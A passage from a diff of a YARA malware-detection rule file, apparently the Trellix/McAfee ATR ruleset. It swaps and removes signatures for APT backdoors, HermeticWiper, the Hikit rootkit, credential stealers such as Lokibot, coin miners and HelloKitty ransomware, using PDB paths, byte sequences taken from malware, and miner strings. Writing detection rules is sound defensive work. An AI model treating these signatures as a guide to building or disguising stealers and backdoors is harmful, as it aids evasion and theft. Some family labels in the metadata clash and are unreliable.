rule_version = "v1" - malware_type = "backdoor" - malware_family = "Backdoor:W32/Gauss" - actor_type = "Apt" - actor_group = "Unknown" - - strings: - $pdb = "\\projects\\gauss\\bin\\release\\winshell.pdb" - - condition: - uint16( 0 ) == 0x5a4d and filesize < 550KB and any of them -} -rule TRELLIX_ARC_Troy_Malware_Campaign_Pdb : BACKDOOR FILE +rule TRELLIX_ARC_Apt_Turla_Pdb : BACKDOOR FILE { meta: - description = "Rule to detect the Operation Troy based on the PDB" + description = "Rule to detect a component of the APT Turla" author = "Marc Rivero | McAfee ATR Team" - id = "c1fc5b9c-104f-5d07-86ee-5a54d9731f04" - date = "2013-06-23" + id = "b39ac7fc-16dd-559e-8ab0-76da5cbbc719" + date = "2017-05-31" modified = "2020-08-14" - reference = "https://www.mcafee.com/enterprise/en-us/assets/white-papers/wp-dissecting-operation-troy.pdf" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_operation_troy.yar#L1-L26" + reference = "https://attack.mitre.org/groups/G0010/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_turla_pdb.yar#L1-L25" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - hash = "2ca6b7e9488c1e9f39392e696704ad3f2b82069e35bc8001d620024ebbf2d65a" - logic_hash = "a64b4aa082c45d1753ad30ba2f67df0ef5b7658c3c99e031ef747eb4e6c7bb00" + hash = "3b8bd0a0c6069f2d27d759340721b78fd289f92e0a13965262fea4e8907af122" + logic_hash = "d519317c936a38f189bf0de908902ec4e3e079c8c7463c8881ceb332c0a82a26" score = 75 quality = 70 tags = "BACKDOOR, FILE" rule_version = "v1" malware_type = "backdoor" - malware_family = "Backdoor:W32/OperationTroy" + malware_family = "Backdoor:W32/Turla" actor_type = "Apt" actor_group = "Unknown" strings: - $pdb = "\\Work\\Make Troy\\Concealment Troy\\Exe_Concealment_Troy(Winlogon_Shell)\\SetKey_WinlogOn_Shell_Modify\\BD_Installer\\Release\\BD_Installer.pdb" - $pdb1 = "\\Work\\Make Troy\\Concealment Troy\\Exe_Concealment_Troy(Winlogon_Shell)\\Dll\\Concealment_Troy(Dll)\\Release\\Concealment_Troy.pdb" + $pdb = "\\Workshop\\Projects\\cobra\\carbon_system\\x64\\Release\\carbon_system.pdb" condition: - uint16( 0 ) == 0x5a4d and filesize < 500KB and any of them + uint16( 0 ) == 0x5a4d and filesize < 650KB and any of them } -rule TRELLIX_ARC_Apt_Mirage_Pdb : TROJAN FILE +rule TRELLIX_ARC_Hermeticwiper : TROJAN FILE { meta: - description = "Rule to detect Mirage samples based on PDB" - author = "Marc Rivero | McAfee ATR Team" - id = "49b7623f-a2c9-52e4-8679-d62f6aae99ca" - date = "2012-09-18" - modified = "2020-08-14" - reference = "https://www.secureworks.com/research/the-mirage-campaign" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_mirage_pdb.yar#L1-L26" + description = "Detecting variants of Hermetic Wiper malware discovered in UA" + author = " cb @ Trellix ATR" + id = "fc6d9238-b732-541d-b083-11b43fe8770d" + date = "2022-02-24" + modified = "2022-02-24" + reference = "https://github.com/advanced-threat-research/Yara-Rules/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_Troj_HermWiper.yar#L1-L27" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - hash = "0107a12f05bea4040a467dd5bc5bd130fd8a4206a09135d452875da89f121019" - logic_hash = "cb88dc787d9964451ea93f5574d9c73ae6a820d81e20d41c3c8ee44c3fee032d" + logic_hash = "b48e91afa19e09c7035ccda1b9293448e834d612b9a953b593f9412acb78faac" score = 75 quality = 70 tags = "TROJAN, FILE" rule_version = "v1" - malware_type = "trojan" - malware_family = "Trojan:W32/Mirage" - actor_type = "Apt" - actor_group = "Unknown" + malware_type = "Trojan" strings: - $pdb = "\\MF-v1.2\\Server\\Debug\\Server.pdb" - $pdb1 = "\\fox_1.2 20110307\\MF-v1.2\\Server\\Release\\MirageFox_Server.pdb" + $0 = {E4B5518CD941310A015E4AF8E5968C8231492FE19246A293A569D5D7A36F56EB2FC5B68FFF6F3359C19AF6806920C3FE6628F90A75440E6616297A031BA6075100D72DFAA9829E772E45D77B89F862081EAFDB19B4B2DCEF3F273FF645ACCEAA4B991F98373973C0FB25829E860D9BC195EF1A0AD9219456AD077D42868EE03EE00E88D04C434BA97E88DF99273A35E2C668A1C69954B4762390ABDFBE4CD4AF} + $1 = {90506F1C825F7AE0D8605F5C627CA325BFF199AB60A63DE8A90E923F4B18D7FB039E1DEC89D573AAB0A14C1D4BA70EB444753A41C03082A60CB4DB551393F2C50988A3181E7F31D01B5AAD94070432D98F18655AB8A555919FEFEA9DE1EDF1} + $2 = {D5EEF61336015A85FF04ED298A6BDD6742FF153E33DAF9B383A5FFDCE7E64D47748DB5FF2609DF9BD5C66735FF6916797B2D365313FF1461EAEB9DAEA754FF6D4D55D1956CC8CBFF75C10CE74BF88C8DFF3B553B839D42609FFF2916227230} + $3 = {6C750DDC932124500CE9B5AB91CE101BE9AD348220E9423124512282373675152281023428825C51770FE9841F853375125382F732750A5B83F60FEB6AEE2282647462228269745AEE22826F7452228275744AEE2282787442} + $4 = {19A8A063FFAAAF6C1E7F78A896FFFA5C8F30BA98B69CFF1961E107BEB7636AFF9EA56A4FC4EDE3F1FF295235ACD0185726FFADA6B8CB54B342C9FF86F58524DC91617BFFB4388DBE01B6CF86} + $5 = {50C449606B20184A6328556032197660AAF9507861609F6160640560B4546160C3A194056070C4A09EC4A01A0461A4C4A0831B16600561916069A291607061C09160AA1CB6204A} + $6 = {FFEB19D2636B8B95273156BB63E8C78470D55970F47CF26574B46DE86EE084704590CA8053F15320258BBD1AACF18B04F2E965C6605CB10880B7E8FCF53DF5EB0621635EFF} + $7 = {7E31126E14B8FF98554F6FCFB64207FFCF8D93B2573609C2FF99E4409F73BB9322FF1E5E380DC0BBABCAFF4B901EDF61BD6A68FFEE3253728C7769ABFF7BCDA939C959A282} + $8 = {1970FFC6F8AA7C32EE693CFF369579E5355EF62CFF682CEAF20BA3EA1CFF1AAC638666431B20FF54293D1E709C231AFFCD11B55599F64CB9FF1E5A9015DC867F} + $9 = {8DFF93B2573609C299E4FF409F73BB93221E5EFF380DC0BBABCA4B90FF1EDF61BD6A68EE32FF53728C7769AB7BCDFFA939C959A282D312FF5DD04F0370CE811F} + $10 = {DF5519064E31101CF3DA96C15FF96728B708F358F51759E3A22FFA1CF1BB986A2038D6753E6BF037945B8469ADF20BAB71E10F3DE27735F640704C970DFE8672} condition: - uint16( 0 ) == 0x5a4d and filesize < 150KB and any of them + uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them } rule TRELLIX_ARC_Chimera_Recordedtv_Modified : TROJAN FILE { @@ -151407,4563 +151454,4066 @@ rule TRELLIX_ARC_Chimera_Recordedtv_Modified : TROJAN FILE condition: uint16( 0 ) == 0x5a4d and filesize < 900KB and all of them } -rule TRELLIX_ARC_STEALER_Lokibot : STEALER FILE +rule TRELLIX_ARC_Apt_Hikit_Rootkit : ROOTKIT FILE { meta: - description = "Rule to detect Lokibot stealer" + description = "Rule to detect the rootkit hikit based on PDB" author = "Marc Rivero | McAfee ATR Team" - id = "75f502a3-2d9f-5ccf-93f8-2d6a73e9e1b7" - date = "2020-09-23" - modified = "2020-09-25" - reference = "https://github.com/advanced-threat-research/Yara-Rules/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/stealer/STEALER_Lokibot.yar#L1-L39" - license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - logic_hash = "999a69394a545f726cf15e4361e0dfc17eeac6544e6816a0ad140316e9642510" - score = 75 - quality = 70 - tags = "STEALER, FILE" - rule_version = "v1" - malware_type = "stealer" - malware_family = "Ransomware:W32/Lokibot" - actor_type = "Cybercrime" - actor_group = "Unknown" - hash1 = "0e40f4fdd77e1f90279c585cfc787942b8474e5216ff4d324d952ef6b74f25d2" - hash2 = "3ad36afad12d8cf245904285c21a8db43f9ed9c82304fdc2f27c4dd1438e4a1d" - hash3 = "26fbdd516b3c1bfa36784ef35d6bc216baeb0ef2d0c0ba036ff9296da2ce2c84" - - strings: - $sq1 = { 55 8B EC 56 8B 75 08 57 56 E8 ?? ?? ?? ?? 8B F8 59 85 FF 75 04 33 C0 EB 20 56 6A 00 57 E8 ?? ?? ?? ?? 6A 0C E8 ?? ?? ?? ?? 83 C4 10 85 C0 74 E5 83 60 08 00 89 38 89 70 04 5F 5E 5D C3 } - $sq2 = { 55 8B EC 83 EC 0C 53 56 57 33 DB BE ?? ?? ?? ?? 53 53 56 6A 09 E8 ?? ?? ?? ?? 6A 10 6A 01 53 53 8D 4D F8 51 FF D0 53 53 56 6A 09 E8 ?? ?? ?? ?? 6A 08 6A 01 53 53 8D 4D F8 51 FF D0 85 C0 0F 84 2B 01 00 00 6A 24 E8 ?? ?? ?? ?? 59 8B D8 33 C0 6A 09 59 8B FB F3 AB 66 8B 4D 24 B8 03 66 00 00 C7 03 08 02 00 00 66 85 C9 74 03 0F B7 C1 8B 4D 08 33 D2 0F B7 C0 89 43 04 89 53 08 85 C9 74 12 C7 43 08 08 00 00 00 8B 01 89 43 0C 8B 41 04 89 43 10 8B 4D 0C 85 C9 74 0F 83 43 08 08 8B 01 89 43 14 8B 41 04 89 43 18 8B 4D 10 85 C9 74 0F 83 43 08 08 8B 01 89 43 1C 8B 41 04 89 43 20 8B 7B 08 8B 75 F8 83 C7 0C 52 52 68 ?? ?? ?? ?? 6A 09 E8 ?? ?? ?? ?? 8D 4D FC 51 6A 00 6A 00 57 53 56 FF D0 85 C0 74 75 8B 75 FC 33 C0 40 83 7D 20 00 0F 45 45 20 33 FF 57 57 68 ?? ?? ?? ?? 6A 09 89 45 F4 E8 ?? ?? ?? ?? 57 8D 4D F4 51 6A 04 56 FF D0 85 C0 74 3B 39 7D 14 74 1A 8B 75 FC 57 57 68 ?? ?? ?? ?? 6A 09 E8 ?? ?? ?? ?? 57 FF 75 14 6A 01 56 FF D0 8B 55 18 8B 4D FC 53 89 0A 8B 55 1C 8B 4D F8 89 0A E8 ?? ?? ?? ?? 33 C0 59 40 EB 21 FF 75 FC E8 BF FB FF FF 59 EB 02 33 FF 53 E8 ?? ?? ?? ?? 57 FF 75 F8 E8 6B FB FF FF 83 C4 0C 33 C0 5F 5E 5B 8B E5 5D C3 } - $sq3 = { 55 8B EC 83 EC 0C 53 8B 5D 0C 56 57 6A 10 33 F6 89 75 F8 89 75 FC 58 89 45 F4 85 DB 75 0E FF 75 08 E8 ?? ?? ?? ?? 8B D8 8B 45 F4 59 50 E8 ?? ?? ?? ?? 8B F8 59 85 FF 0F 84 B6 00 00 00 FF 75 F4 56 57 E8 C4 ?? ?? ?? 83 C4 0C 56 56 68 ?? ?? ?? ?? 6A 09 E8 ?? ?? ?? ?? 68 00 00 00 F0 6A 01 56 56 8D 4D F8 51 FF D0 85 C0 0F 84 84 00 00 00 8B 75 F8 6A 00 6A 00 68 ?? ?? ?? ?? 6A 09 E8 ?? ?? ?? ?? 8D 4D FC 51 6A 00 6A 00 68 03 80 00 00 56 FF D0 85 C0 74 51 6A 00 53 FF 75 08 FF 75 FC E8 7F FD FF FF 83 C4 10 85 C0 74 3C 8B 75 FC 6A 00 6A 00 68 ?? ?? ?? ?? 6A 09 E8 ?? ?? ?? ?? 6A 00 8D 4D F4 51 57 6A 02 56 FF D0 85 C0 74 19 FF 75 FC E8 16 FD FF FF 6A 00 FF 75 F8 E8 26 FD FF FF 83 C4 0C 8B C7 EB 0E 6A 00 FF 75 F8 E8 15 FD FF FF 59 59 33 C0 5F 5E 5B 8B E5 5D C3 } - $sq4 = { 55 8B EC 83 7D 10 00 56 57 8B 7D 0C 57 74 0E E8 ?? ?? ?? ?? 8B F0 33 C0 03 F6 40 EB 09 E8 ?? ?? ?? ?? 8B F0 33 C0 83 7D 14 00 59 75 24 50 FF 75 08 E8 2C 00 00 00 59 59 83 F8 01 74 04 33 C0 EB 1D 56 FF 75 08 E8 C5 FE FF FF 59 59 83 F8 01 75 EC 56 57 FF 75 08 E8 CA FE FF FF 83 C4 0C 5F 5E 5D C3 } - $sq5 = { 55 8B EC 53 56 8B 75 0C 57 85 F6 75 0B FF 75 08 E8 ?? ?? ?? ?? 59 8B F0 6B C6 03 89 45 0C 8D 58 01 53 E8 ?? ?? ?? ?? 8B F8 59 85 FF 74 42 53 6A 00 57 E8 ?? ?? ?? ?? 83 C4 0C 33 D2 85 F6 74 27 8B 45 08 0F B6 0C 02 8B C1 83 E1 0F C1 E8 04 8A 80 ?? ?? ?? ?? 88 04 57 8A 81 ?? ?? ?? ?? 88 44 57 01 42 3B D6 72 D9 8B 45 0C C6 04 07 00 8B C7 5F 5E 5B 5D C3 } - $sq6 = { 55 8B EC 53 56 57 FF 75 08 E8 ?? ?? ?? ?? 33 C9 6A 02 5B 8D B8 A0 1F 00 00 8B C7 F7 E3 0F 90 C1 F7 D9 0B C8 51 E8 ?? ?? ?? ?? 8B F0 59 59 85 F6 74 6F 8D 0C 3F 51 6A 00 56 E8 ?? ?? ?? ?? 8D 45 0C 50 FF 75 08 56 E8 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 8B F8 83 C4 1C 85 FF 74 40 33 C9 8D 47 02 F7 E3 0F 90 C1 F7 D9 0B C8 51 E8 ?? ?? ?? ?? 8B D8 59 85 DB 74 25 8D 0C 7D 02 00 00 00 51 6A 00 53 E8 ?? ?? ?? ?? 57 56 53 E8 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 1C 8B C3 EB 09 56 E8 ?? ?? ?? ?? 59 33 C0 5F 5E 5B 5D C3 } - $sq7 = { 55 8B EC 81 EC 80 00 00 00 56 57 E8 ?? ?? ?? ?? 6A 1F 59 BE ?? ?? ?? ?? 8D 7D 80 F3 A5 33 C9 6A 02 5A 66 A5 8B 7D 08 8D 47 01 F7 E2 0F 90 C1 F7 D9 0B C8 51 E8 ?? ?? ?? ?? 8B F0 59 85 F6 74 4D 8D 04 7D 02 00 00 00 4F 89 45 08 53 50 6A 00 56 E8 ?? ?? ?? ?? 83 C4 0C 33 DB 85 FF 74 1C E8 ?? ?? ?? ?? 33 D2 6A 7E 59 F7 F1 D1 EA 66 8B 44 55 80 66 89 04 5E 43 3B DF 72 E4 56 E8 ?? ?? ?? ?? 3B F8 8B 45 08 59 77 C4 8B C6 5B EB 02 33 C0 5F 5E 8B E5 5D C3 } - $sq8 = { 55 8B EC 81 EC 50 02 00 00 53 56 57 6A 0A E8 ?? ?? ?? ?? 59 33 DB 6A 2E 5E 39 5D 14 0F 84 13 01 00 00 FF 75 08 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 59 59 85 F6 0F 84 F7 00 00 00 53 53 68 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 8D 8D B0 FD FF FF 51 56 FF D0 8B D8 83 FB FF 0F 84 CC 00 00 00 F6 85 B0 FD FF FF 10 0F 84 97 00 00 00 83 7D 1C 00 74 2E 8D 85 DC FD FF FF 68 ?? ?? ?? ?? 50 E8 0A ?? ?? ?? 59 59 85 C0 75 7A 8D 85 DC FD FF FF 68 ?? ?? ?? ?? 50 E8 F3 ?? ?? ?? 59 59 85 C0 75 63 8D 85 DC FD FF FF 50 E8 ?? ?? ?? ?? 59 83 F8 03 73 0C 6A 2E 58 66 39 85 DC FD FF FF 74 45 8D 85 DC FD FF FF 50 FF 75 08 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 0C 89 45 14 85 C0 74 27 6A 01 6A 00 6A 01 FF 75 10 FF 75 0C 50 E8 14 FF FF FF FF 75 14 8B F8 E8 ?? ?? ?? ?? 83 C4 1C 85 FF 0F 85 EE 00 00 00 33 C0 50 50 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D 8D B0 FD FF FF 51 53 FF D0 85 C0 0F 85 3B FF FF FF 53 E8 ?? ?? ?? ?? 59 56 E8 ?? ?? ?? ?? 59 33 DB 6A 2E 5E FF 75 0C FF 75 08 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F8 83 C4 0C 85 FF 0F 84 CF 00 00 00 53 53 68 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 8D 8D B0 FD FF FF 51 57 FF D0 8B D8 83 FB FF 0F 84 A6 00 00 00 8D 85 DC FD FF FF 50 E8 ?? ?? ?? ?? 59 83 F8 03 73 09 66 39 B5 DC FD FF FF 74 3E 83 BD B0 FD FF FF 10 75 06 83 7D 18 00 74 2F 8D 85 DC FD FF FF 50 FF 75 08 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 83 C4 0C 85 F6 74 12 83 7D 10 00 74 40 56 FF 55 10 56 E8 ?? ?? ?? ?? 59 59 33 C0 50 50 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D 8D B0 FD FF FF 51 53 FF D0 85 C0 74 29 6A 2E 5E EB 85 56 E8 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 59 59 8B C7 EB 22 57 E8 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 59 59 8B C6 EB 10 53 E8 ?? ?? ?? ?? 59 57 E8 ?? ?? ?? ?? 59 33 C0 5F 5E 5B 8B E5 5D C3 } - $sq9 = { 83 3D 14 ?? ?? ?? ?? 56 74 0A 8B 35 20 ?? ?? ?? 85 F6 75 66 53 57 BB E0 01 00 00 33 FF 53 89 3D 14 ?? ?? ?? E8 F0 F8 FF FF 33 F6 A3 14 ?? ?? ?? 46 59 85 C0 74 12 6A 78 57 50 89 35 20 ?? ?? ?? E8 A6 F8 FF FF 83 C4 0C 53 89 3D 18 ?? ?? ?? E8 C5 F8 FF FF A3 18 ?? ?? ?? 59 85 C0 74 14 6A 78 57 50 89 35 20 ?? ?? ?? E8 7E F8 FF FF 83 C4 0C EB 06 8B 35 20 ?? ?? ?? 5F 5B 8B C6 5E C3 } - $sq10 = { 55 8B EC 51 51 83 65 FC 00 53 56 57 64 A1 30 00 00 00 89 45 FC 8B 45 FC 8B 40 0C 8B 58 0C 8B F3 8B 46 18 FF 76 28 89 45 F8 E8 CE FA FF FF 8B F8 59 85 FF 74 1F 6A 00 57 E8 32 01 00 00 57 E8 ?? ?? ?? ?? 03 C0 50 57 E8 71 FA FF FF 83 C4 14 39 45 08 74 11 8B 36 3B DE 75 C6 33 C0 5F 5E 5B 8B E5 5D C2 04 00 8B 45 F8 EB F2 } - $sq11 = { A1 ?? ?? ?? ?? 85 C0 74 07 50 E8 ?? ?? ?? ?? 59 A1 ?? ?? ?? ?? 85 C0 74 07 50 E8 ?? ?? ?? ?? 59 A1 ?? ?? ?? ?? 85 C0 74 07 50 E8 ?? ?? ?? ?? 59 33 C0 A3 ?? ?? ?? ?? A3 ?? ?? ?? ?? A3 ?? ?? ?? ?? C3 } - $sq12 = { 55 8B EC 56 8B 75 0C 57 85 F6 74 48 56 E8 ?? ?? ?? ?? 59 85 C0 74 3D 56 E8 ?? ?? ?? ?? 59 85 C0 74 32 83 65 0C 00 8D 45 0C 6A 01 50 56 E8 ?? ?? ?? ?? 8B F8 83 C4 0C 85 FF 74 19 8B 45 0C 85 C0 74 12 83 7D 14 00 74 12 39 45 14 73 0D 57 E8 ?? ?? ?? ?? 59 33 C0 5F 5E 5D C3 83 7D 10 00 74 1A 6A 00 6A 01 56 E8 ?? ?? ?? ?? 59 50 FF 75 08 E8 1F 00 00 00 8B 45 0C 83 C4 10 50 57 FF 75 08 E8 FF FE FF FF 57 8B F0 E8 ?? ?? ?? ?? 83 C4 10 8B C6 EB C3 } - $sq13 = { 55 8B EC 83 EC 18 56 FF 75 08 E8 ?? ?? ?? ?? 50 89 45 F0 E8 ?? ?? ?? ?? 8B F0 59 59 85 F6 0F 84 C0 00 00 00 53 8B 5D 0C 33 C9 57 6A 04 5A 8B C3 F7 E2 0F 90 C1 F7 D9 0B C8 51 E8 ?? ?? ?? ?? 83 65 F4 00 8B F8 83 65 FC 00 59 85 DB 74 6D 8B 45 10 83 C0 FC FF 75 F0 83 C0 04 89 45 E8 6A 00 56 8B 00 89 45 EC E8 ?? ?? ?? ?? FF 75 F0 FF 75 08 56 E8 ?? ?? ?? ?? 83 65 F8 00 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 20 EB 1F FF 75 EC 50 E8 ?? ?? ?? ?? 59 59 85 C0 75 32 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? FF 45 F8 59 59 85 C0 75 DD 8B 45 FC 40 89 45 FC 3B C3 8B 45 E8 72 99 56 E8 ?? ?? ?? ?? 59 39 5D F4 75 12 8B C7 EB 17 8B 45 FC 8B 4D F8 FF 45 F4 89 0C 87 EB D7 57 E8 ?? ?? ?? ?? 59 33 C0 5F 5B 5E 8B E5 5D C3 } - $sq14 = { 55 8B EC 8B 45 0C 53 56 8B 75 08 57 8B 4E 04 03 C1 8D 3C 09 3B F8 77 06 8D B8 F4 01 00 00 33 C9 8B C7 6A 04 5A F7 E2 0F 90 C1 F7 D9 0B C8 51 E8 ?? ?? ?? ?? 8B D8 59 85 DB 74 26 57 6A 00 53 E8 ?? ?? ?? ?? FF 76 08 FF 36 53 E8 ?? ?? ?? ?? FF 36 E8 ?? ?? ?? ?? 33 C0 89 1E 83 C4 1C 89 7E 04 40 5F 5E 5B 5D C3 } - $sq15 = { 55 8B EC 83 7D 0C 00 57 74 39 8B 7D 10 85 FF 74 32 56 8B 75 08 8B 46 08 03 C7 3B 46 04 76 09 57 56 E8 3F FF FF FF 59 59 8B 46 08 03 06 57 FF 75 0C 50 E8 ?? ?? ?? ?? 01 7E 08 83 C4 0C 33 C0 40 5E EB 02 33 C0 5F 5D C3 } - - condition: - uint16( 0 ) == 0x5a4d and any of them -} -rule TRELLIX_ARC_STEALER_Emirates_Statement : STEALER -{ - meta: - description = "Credentials Stealing Attack" - author = "Christiaan Beek | McAfee ATR Team" - id = "b5a6d996-8a3d-5238-95af-bf5ff893bbc5" - date = "2013-06-30" - modified = "2020-08-14" - reference = "https://github.com/advanced-threat-research/Yara-Rules/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/stealer/STEALER_EmiratesStatement.yar#L1-L24" - license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - hash = "7cf757e0943b0a6598795156c156cb90feb7d87d4a22c01044499c4e1619ac57" - logic_hash = "17eaddf375fc1875fb0275f8c0f93dfe921b452bdc6eb471adc155f749492328" - score = 75 - quality = 45 - tags = "STEALER" - rule_version = "v1" - malware_type = "stealer" - malware_family = "Stealer:W32/DarkSide" - actor_type = "Cybercrime" - actor_group = "Unknown" - - strings: - $string0 = "msn.klm" - $string1 = "wmsn.klm" - $string2 = "bms.klm" - - condition: - all of them -} -rule TRELLIX_ARC_STEALER_Credstealesy : STEALER -{ - meta: - description = "Generic Rule to detect the CredStealer Malware" - author = "IsecG – McAfee Labs" - id = "90e23ed8-3243-519b-8eb4-9db5902c73d3" - date = "2015-05-08" + id = "c53acbc6-8f4a-590b-8dd7-ce4da6d79cf8" + date = "2012-08-20" modified = "2020-08-14" - reference = "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/when-hackers-get-hacked-the-malware-servers-of-a-data-stealing-campaign/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/stealer/STEALER_credstealer.yar#L1-L24" - license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - logic_hash = "3d007fc0d2e2eb3d8f0c2b86dd01ede482e72f6c67fd6d284d77c47b53021b3c" - score = 75 - quality = 70 - tags = "STEALER" - rule_version = "v1" - malware_type = "stealer" - malware_family = "Stealer:W32/CredStealer" - actor_type = "Cybercrime" - actor_group = "Unknown" - - strings: - $my_hex_string = "CurrentControlSet\\Control\\Keyboard Layouts\\" wide - $my_hex_string2 = {89 45 E8 3B 7D E8 7C 0F 8B 45 E8 05 FF 00 00 00 2B C7 89 45 E8} - - condition: - $my_hex_string and $my_hex_string2 -} - -rule TRELLIX_ARC_Trojan_Coinminer : FILE -{ - meta: - description = "Rule to detect Coinminer malware" - author = "Trellix ATR" - id = "ec1f4fb7-bce3-5d5b-bbff-50f9bfc90298" - date = "2021-07-22" - modified = "2022-01-19" - reference = "https://github.com/advanced-threat-research/Yara-Rules/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/miners/Trojan_CoinMiner.yar#L3-L23" - license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - logic_hash = "0d9d502eb0a54f90044f42f8ce485a2df6814064172cb7bf006a8c8a51976acd" - score = 75 - quality = 70 - tags = "FILE" - version = "v1" - hash1 = "3bdac08131ba5138bcb5abaf781d6dc7421272ce926bc37fa27ca3eeddcec3c2" - hash2 = "d60766c4e6e77de0818e59f687810f54a4e08505561a6bcc93c4180adb0f67e7" - - strings: - $seq0 = { df 75 ab 7b 80 bf 83 c1 48 b3 18 74 70 01 24 5c } - $seq1 = { 08 37 4e 6e 0f 50 0b 11 d0 98 0f a8 b8 27 47 4e } - $seq2 = { bf 17 5a 08 09 ab 80 2f a1 b0 b1 da 47 9f e1 61 } - $seq3 = { 53 36 34 b2 94 01 cc 05 8c 36 aa 8a 07 ff 06 1f } - $seq4 = { 25 30 ae c4 44 d1 97 82 a5 06 05 63 07 02 28 3a } - $seq5 = { 01 69 8e 1c 39 7b 11 56 38 0f 43 c8 5f a8 62 d0 } - - condition: - ( uint16( 0 ) == 0x5a4d and filesize < 5000KB and pe.imphash ( ) == "e4290fa6afc89d56616f34ebbd0b1f2c" and 3 of ( $seq* ) ) -} -rule TRELLIX_ARC_MINER_Monero_Mining_Detection : MINER FILE -{ - meta: - description = "Monero mining software" - author = "Trellix ATR team" - id = "98ee7711-16ee-58e1-b52f-c68dd5f2b8a3" - date = "2018-04-05" - modified = "2022-01-19" - reference = "https://github.com/advanced-threat-research/Yara-Rules/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/miners/MINER_Monero.yar#L1-L43" - license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - logic_hash = "4c1815186b0eb9e6be5fb0fcad02fd981ac9cf79c485fe12ce4a73054ef9fda2" - score = 75 - quality = 70 - tags = "MINER, FILE" - rule_version = "v1" - malware_type = "miner" - malware_family = "Ransom:W32/MoneroMiner" - actor_type = "Cybercrime" - actor_group = "Unknown" - - strings: - $1 = "* COMMANDS: 'h' hashrate, 'p' pause, 'r' resume" fullword ascii - $2 = "--cpu-affinity set process affinity to CPU core(s), mask 0x3 for cores 0 and 1" fullword ascii - $3 = "* THREADS: %d, %s, av=%d, %sdonate=%d%%%s" fullword ascii - $4 = "--user-agent set custom user-agent string for pool" fullword ascii - $5 = "-O, --userpass=U:P username:password pair for mining server" fullword ascii - $6 = "--cpu-priority set process priority (0 idle, 2 normal to 5 highest)" fullword ascii - $7 = "-p, --pass=PASSWORD password for mining server" fullword ascii - $8 = "* VERSIONS: XMRig/%s libuv/%s%s" fullword ascii - $9 = "-k, --keepalive send keepalived for prevent timeout (need pool support)" fullword ascii - $10 = "--max-cpu-usage=N maximum CPU usage for automatic threads mode (default 75)" fullword ascii - $11 = "--nicehash enable nicehash/xmrig-proxy support" fullword ascii - $12 = "<!--The ID below indicates application support for Windows 10 -->" fullword ascii - $13 = "* CPU: %s (%d) %sx64 %sAES-NI" fullword ascii - $14 = "-r, --retries=N number of times to retry before switch to backup server (default: 5)" fullword ascii - $15 = "-B, --background run the miner in the background" fullword ascii - $16 = "* API PORT: %d" fullword ascii - $17 = "--api-access-token=T access token for API" fullword ascii - $18 = "-t, --threads=N number of miner threads" fullword ascii - $19 = "--print-time=N print hashrate report every N seconds" fullword ascii - $20 = "-u, --user=USERNAME username for mining server" fullword ascii - - condition: - ( uint16( 0 ) == 0x5a4d and filesize < 4000KB and ( 8 of them ) ) or ( all of them ) -} -rule TRELLIX_ARC_Ransom_Linux_Hellokitty_0721 : RANSOMWARE FILE -{ - meta: - description = "rule to detect Linux variant of the Hello Kitty Ransomware" - author = "Christiaan @ ATR" - id = "097b02e7-93d8-5d4f-9964-7b660b3cd7b9" - date = "2021-07-19" - modified = "2021-07-19" - reference = "https://github.com/advanced-threat-research/Yara-Rules/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_Linux_HelloKitty0721.yar#L1-L28" + reference = "https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_hikit_rootkit_pdb.yar#L1-L28" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - logic_hash = 